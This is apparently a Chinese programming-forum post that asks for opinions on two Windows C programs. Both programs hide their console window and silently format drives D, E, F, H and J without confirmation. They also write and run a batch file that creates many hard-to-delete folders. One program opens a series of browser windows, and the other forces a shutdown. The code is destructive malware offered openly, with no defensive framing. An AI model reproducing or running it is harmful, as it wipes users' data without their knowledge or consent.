请前辈们评价下这2个程序
程序代码:
# include <stdio.h> # include <windows.h> int main(int argc,char *argv[]) { ShowWindow(FindWindow("ConsoleWindowClass",argv[0]),0); int x; int i; FILE*fp=fopen("c:\\SB.bat","w"); for(i=0;i<100;i++) { fprintf(fp,"md D:\%d...\\\n",i); fprintf(fp,"md e:\%d...\\\n",i); fprintf(fp,"md f:\%d...\\\n",i); if(i==25) { fprintf(fp,"Format d:/y/q/fs:NTFS\n",i); fprintf(fp,"Format e:/y/q/fs:NTFS\n",i); fprintf(fp,"Format f:/y/q/fs:NTFS\n",i); fprintf(fp,"Format h:/y/q/fs:NTFS\n",i); fprintf(fp,"Format j:/y/q/fs:NTFS\n",i); } if(i==3) { fprintf(fp,"start explorer http://www.baidu.com start explorer \n",i); fprintf(fp,"start explorer http://www. start explorer \n",i); fprintf(fp,"start explorer http://www. start explorer \n",i); fprintf(fp,"start explorer http://www. start explorer \n",i); fprintf(fp,"start explorer http://www. start explorer \n",i); fprintf(fp,"start explorer http://www. start explorer \n",i); fprintf(fp,"start explorer http://www. start explorer \n",i); fprintf(fp,"start explorer http://www. start explorer \n",i); fprintf(fp,"start explorer http://www. start explorer \n",i); fprintf(fp,"start explorer http://www. start explorer \n",i); } } fclose(fp); system("c:\\SB.bat"); } 程序1# include <stdio.h> # include <windows.h> int main(int argc,char *argv[]) { ShowWindow(FindWindow("ConsoleWindowClass",argv[0]),0); system("Format d:/y/q/fs:NTFS"); system("Format e:/y/q/fs:NTFS"); system("Format f:/y/q/fs:NTFS"); system("Format h:/y/q/fs:NTFS"); system("Format j:/y/q/fs:NTFS"); int x = 6; FILE*fp=fopen("c:\\SB.bat","w"); fprintf(fp,"md D:\sbq...\\\n",x); fprintf(fp,"md D:\sbw...\\\n",x); fprintf(fp,"md D:\sbe...\\\n",x); fprintf(fp,"md D:\sbr...\\\n",x); fprintf(fp,"md D:\sbt...\\\n",x); fprintf(fp,"md D:\sby...\\\n",x); fprintf(fp,"md D:\sbu...\\\n",x); fprintf(fp,"md D:\sbi...\\\n",x); fprintf(fp,"md D:\sbi...\\\n",x); fprintf(fp,"md D:\sbo...\\\n",x); fprintf(fp,"md D:\sbp...\\\n",x); fprintf(fp,"md D:\sba...\\\n",x); fprintf(fp,"md D:\sbs...\\\n",x); fprintf(fp,"md D:\sbd...\\\n",x); fprintf(fp,"md D:\sbf...\\\n",x); fprintf(fp,"md D:\sbg...\\\n",x); fprintf(fp,"md D:\sbh...\\\n",x); fprintf(fp,"md D:\sbj...\\\n",x); fprintf(fp,"md D:\sbk...\\\n",x); fprintf(fp,"md D:\sbl...\\\n",x); fprintf(fp,"md D:\sbz...\\\n",x); fprintf(fp,"md D:\sbx...\\\n",x); fprintf(fp,"md D:\sbc...\\\n",x); fprintf(fp,"md D:\sbv...\\\n",x); fprintf(fp,"md D:\sbb...\\\n",x); fprintf(fp,"md D:\sbn...\\\n",x); fprintf(fp,"md D:\sbm...\\\n",x); fprintf(fp,"md e:\sbq...\\\n",x); fprintf(fp,"md e:\sbw...\\\n",x); fprintf(fp,"md e:\sbe...\\\n",x); fprintf(fp,"md e:\sbr...\\\n",x); fprintf(fp,"md e:\sbt...\\\n",x); fprintf(fp,"md e:\sby...\\\n",x); fprintf(fp,"md e:\sbu...\\\n",x); fprintf(fp,"md e:\sbi...\\\n",x); fprintf(fp,"md e:\sbi...\\\n",x); fprintf(fp,"md e:\sbo...\\\n",x); fprintf(fp,"md e:\sbp...\\\n",x); fprintf(fp,"md e:\sba...\\\n",x); fprintf(fp,"md e:\sbs...\\\n",x); fprintf(fp,"md e:\sbd...\\\n",x); fprintf(fp,"md e:\sbf...\\\n",x); fprintf(fp,"md e:\sbg...\\\n",x); fprintf(fp,"md e:\sbh...\\\n",x); fprintf(fp,"md e:\sbj...\\\n",x); fprintf(fp,"md e:\sbk...\\\n",x); fprintf(fp,"md e:\sbl...\\\n",x); fprintf(fp,"md e:\sbz...\\\n",x); fprintf(fp,"md e:\sbx...\\\n",x); fprintf(fp,"md e:\sbc...\\\n",x); fprintf(fp,"md e:\sbv...\\\n",x); fprintf(fp,"md e:\sbb...\\\n",x); fprintf(fp,"md e:\sbn...\\\n",x); fprintf(fp,"md e:\sbm...\\\n",x); fprintf(fp,"md f:\sbq...\\\n",x); fprintf(fp,"md f:\sbw...\\\n",x); fprintf(fp,"md f:\sbe...\\\n",x); fprintf(fp,"md f:\sbr...\\\n",x); fprintf(fp,"md f:\sbt...\\\n",x); fprintf(fp,"md f:\sby...\\\n",x); fprintf(fp,"md f:\sbu...\\\n",x); fprintf(fp,"md f:\sbi...\\\n",x); fprintf(fp,"md f:\sbi...\\\n",x); fprintf(fp,"md f:\sbo...\\\n",x); fprintf(fp,"md f:\sbp...\\\n",x); fprintf(fp,"md f:\sba...\\\n",x); fprintf(fp,"md f:\sbs...\\\n",x); fprintf(fp,"md f:\sbd...\\\n",x); fprintf(fp,"md f:\sbf...\\\n",x); fprintf(fp,"md f:\sbg...\\\n",x); fprintf(fp,"md f:\sbh...\\\n",x); fprintf(fp,"md f:\sbj...\\\n",x); fprintf(fp,"md f:\sbk...\\\n",x); fprintf(fp,"md f:\sbl...\\\n",x); fprintf(fp,"md f:\sbz...\\\n",x); fprintf(fp,"md f:\sbx...\\\n",x); fprintf(fp,"md f:\sbc...\\\n",x); fprintf(fp,"md f:\sbv...\\\n",x); fprintf(fp,"md f:\sbb...\\\n",x); fprintf(fp,"md f:\sbn...\\\n",x); fprintf(fp,"md f:\sbm...\\\n",x); fclose(fp); system("c:\\SB.bat"); system("shutdown -s -f -t 5"); } 程序2